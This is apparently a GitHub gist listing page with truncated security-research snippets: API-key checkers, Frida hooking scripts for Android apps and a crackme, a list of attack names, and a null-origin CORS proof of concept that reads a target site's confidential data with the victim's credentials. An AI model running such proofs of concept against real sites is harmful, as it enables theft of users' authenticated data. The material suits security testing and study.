- 1
/d+
#2
([\da-f]{2}:?){6}
#3
View reg.md
View gcp-api-key-check.py
| import googlemaps | |
| from datetime import datetime | |
| gmaps = googlemaps.Client(key='Add Your Key here') | |
| # Geocoding an address | |
| geocode_result = gmaps.geocode('1600 Amphitheatre Parkway, Mountain View, CA') | |
| # Look up an address with reverse geocoding | |
| reverse_geocode_result = gmaps.reverse_geocode((40.714224, -73.961452)) |
avicoder
/ Random-hacks.md
Last active Jul 7, 2018
View Mapbox.py
| from mapbox import Geocoder | |
| def banner(): | |
| return "\n[*] " | |
| def mapbox(): | |
| API_TOKEN = raw_input("Enter the Mapbox API key here and press enter:\n") | |
| token_type = API_TOKEN[:2] |
avicoder
/ list-url.py
Created Apr 30, 2018
Frida script to get the list of all API calls from a twitter android app in real time.
View list-url.py
| #! /usr/bin/python | |
| # Usage `python list-url.py` | |
| import frida,sys | |
| jspayload= """ | |
| setImmediate(function() { |
View reverzeMe1.js
| setImmediate(function() { | |
| Java.perform(function() { | |
| //Saving retval | |
| retval = Java.use("java.lang.Boolean").$new("False"); | |
| chalJNI = Java.use("com.example.reverzeme.ChallengeJNI"); | |
| chalJNI.checkIfDeviceIsEmulator.implementation = function(v) { |
avicoder
/ android-load-classes.js
Created Apr 26, 2018
https://www.mavensecurity.com/blog/getting-started-with-frida-on-android - Fix
View android-load-classes.js
| "use strict"; | |
| /* Check if a Java/Dalvik/ART VM is available */ | |
| if (Java.available) { | |
| //FIX - Need to be inside perform | |
| Java.perform(function() { | |
| /* enumerate loaded classes */ |
avicoder
/ Null-origin-code.html
Created Apr 24, 2018
View Null-origin-code.html
| <html> | |
| <body> | |
| <iframe src='data:text/html,<script> | |
| var xhr = new XMLHttpRequest(); | |
| xhr.open("GET", "https://vuln-app.com/confidential", true); | |
| xhr.withCredentials = true; | |
| xhr.onload = function () { | |
| if (xhr.readyState === xhr.DONE) { | |
| console.log(xhr.response); | |
| } |
avicoder
/ Keybase.md
Last active Dec 26, 2017
View Keybase.md
Keybase proof
I hereby claim:
- I am avicoder on github.
- I am avicoder (https://keybase.io/avicoder) on keybase.
- I have a public key ASA5E3ToP1__j0WJ0hVsfEKPF-t9pWa1Ka31uZpGM32rawo
To claim this, I am signing this object:
View Attacks.md
- Arbitrary file access
- Binary planting
- Blind SQL Injection
- Blind XPath Injection
- Brute force attack
- Buffer overflow attack
- Cache Poisoning
- Cash Overflow
- Clickjacking
- Command injection attacks
NewerOlder